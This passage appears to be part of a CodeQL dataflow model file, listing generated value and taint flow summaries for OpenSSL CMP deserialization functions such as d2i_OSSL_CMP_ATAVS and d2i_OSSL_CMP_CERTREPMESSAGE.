"d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ATAVS", "(OSSL_CMP_ATAVS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char 